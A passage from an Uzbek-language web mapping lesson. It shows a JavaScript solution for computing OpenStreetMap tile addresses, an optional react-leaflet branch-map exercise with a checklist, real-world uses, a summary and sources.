Ishora: markaz pikselini toPixel bilan toping, oyna chegaralarini piksellarda hisoblang, keyin Math.floor(px / 256) — plitka raqami.

Yechim
js
function toPixel(lat, lng, zoom) {
  const size = 256 * 2 ** zoom;
  const rad = (lat * Math.PI) / 180;
  const merc = Math.log(Math.tan(rad) + 1 / Math.cos(rad));
  return {
    x: ((lng + 180) / 360) * size,
    y: ((1 - merc / Math.PI) / 2) * size,
  };
}

function tilesFor(center, zoom, width, height) {
  const c = toPixel(center.lat, center.lng, zoom);
  const x1 = Math.floor((c.x - width / 2) / 256);
  const x2 = Math.floor((c.x + width / 2) / 256);
  const y1 = Math.floor((c.y - height / 2) / 256);
  const y2 = Math.floor((c.y + height / 2) / 256);
  const urls = [];
  for (let y = y1; y <= y2; y++) {
    for (let x = x1; x <= x2; x++) urls.push(`${zoom}/${x}/${y}`);
  }
  return urls;
}

const tiles = tilesFor({ lat: 41.3111, lng: 69.2797 }, 13, 360, 640);
console.log(tiles.length, "ta plitka");
console.log(tiles[0], "…", tiles.at(-1));

Konsolda:

text
12 ta plitka
13/5671/3060 … 13/5673/3063

Telefon ekraniga 3 ustun × 4 qator = 12 plitka: 360 piksel eni 256 lik ikki plitkaga sig'adi, lekin markaz plitka chetiga yaqin — chap va o'ng chetlar uchinchi ustunga tushadi. Leaflet chetlarga yana bir qator qo'shib yuklaydi (keepBuffer) — siljitganda oq joy ko'rinmasin. OSM siyosati shu darajadagi "oldindan yuklash" ga qarshi emas: gap butun shaharni yig'ish haqida.

4-mashq: tajriba qadami (ixtiyoriy)

vazifalar ga tegmang. Alohida Vite loyihada (kurs/tajriba/xarita/) react-leaflet bilan «Bahor» filiallari xaritasini yasang: to'rtta marker, popup'da ish vaqti, "Men qayerdaman?" tugmasi. Keyin npm run build hajmini yozing va marker ikonkasi muammosini o'zingiz ko'ring — tuzatishdan oldin va keyin.

Yechim

Tekshiruv ro'yxati:

  • Xarita balandligi bor, leaflet.css ulangan, pastki o'ngda "© OpenStreetMap".
  • Tuzatishsiz: marker o'rnida singan rasm, DevTools Network'da marker-icon.png — 404. mergeOptions dan keyin — ikonka bor.
  • Popup'larni Tab va Enter bilan ochish mumkin.
  • "Men qayerdaman?" — http://localhost da ishlaydi; telefondan tarmoq IP orqali (http://192.168…) ochsangiz — xato kodi 1: HTTPS emas.
  • Build: kanonda React'dan tashqari ~43.8 KB JS va ~6.4 KB CSS.

13. Real ishda

  • Yetkazib berish va taksi ilovalari — buyurtma nuqtasi, kuryer joyi. Ko'pincha tijoriy plitka bilan, lekin Leaflet API bilan.
  • Davlat va ochiq ma'lumot portallari — maktablar, shifoxonalar xaritasi. OSM ma'lumoti va Leaflet — litsenziya va narx jihatidan qulay.
  • Ko'chmas mulk saytlari — yuzlab e'lon, klasterlash shart.
  • Ichki tizimlar (logistika, ombor) — o'z plitka serveri bilan, internetsiz tarmoqda ham.
  • Intervyu savollari: "Veb-xarita qanday yuklanadi?", "Leaflet'da marker nega ko'rinmay qoladi?", "1 000 markerni qanday ko'rsatasiz?", "xaritani SSR'da qanday ulaysiz?".

Xulosa

  • Xarita — 256×256 plitkalar to'ri, zoom z da 2^z × 2^z; manzil z/x/y.
  • OSM plitkalari — kalitsiz, lekin atribusiya majburiy, og'ir yuklama va oldindan yuklash taqiqlangan.
  • react-leaflet: MapContainer (balandlik!), TileLayer, Marker, Popup (portal); center/zoom — faqat boshlang'ich, boshqarish — useMap().
  • Toza Leaflet: effektda L.map, cleanup'da map.remove(); aks holda "already initialized".
  • Ikonka muammosi — bundler manzilni o'zgartiradi, mergeOptions bilan tuzatiladi.
  • Klasterlash — ekran pikseli bo'yicha guruhlash; joylashuv — tugma bosilganda so'raladi, masofa brauzerda hisoblanadi.
  • Leaflet SSR'da (window is not defined) va Trusted Types'da (import paytidagi innerHTML) yiqiladi; popup'ga foydalanuvchi matnini satr qilib bermang.

Keyingi dars: Xaritalar II: Yandex Maps, Google Maps va MapLibre — O'zbekistonda aniqroq xaritalar, API kalit, geokoder, marshrut, vektor plitkalar va ularning narxi.

Manbalar

  • Leaflet 1.9: "Quick Start", "API reference" (L.map, remove, locate, Icon.Default) — leafletjs.com; manba: leaflet-src.js (inlineSvg, _detectIconPath)
  • React Leaflet 5: "Setup", "Core architecture" (MapContainer o'zgarmas props), useMap, useMapEvents — react-leaflet.js.org; manba: MapContainer.js, @react-leaflet/core component.js
  • OSMF: "Tile Usage Policy" — operations.osmfoundation.org/policies/tiles
  • OpenStreetMap: "Slippy map tilenames" — wiki.openstreetmap.org
  • MDN: Geolocation API, Trusted Types API — developer.mozilla.org
  • Kanon: natijalar/tajriba/kutubxonalar-21.txt, tajriba/kutubxonalar/src/k/xarita-leaflet.tsx (2026-10-17)
Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!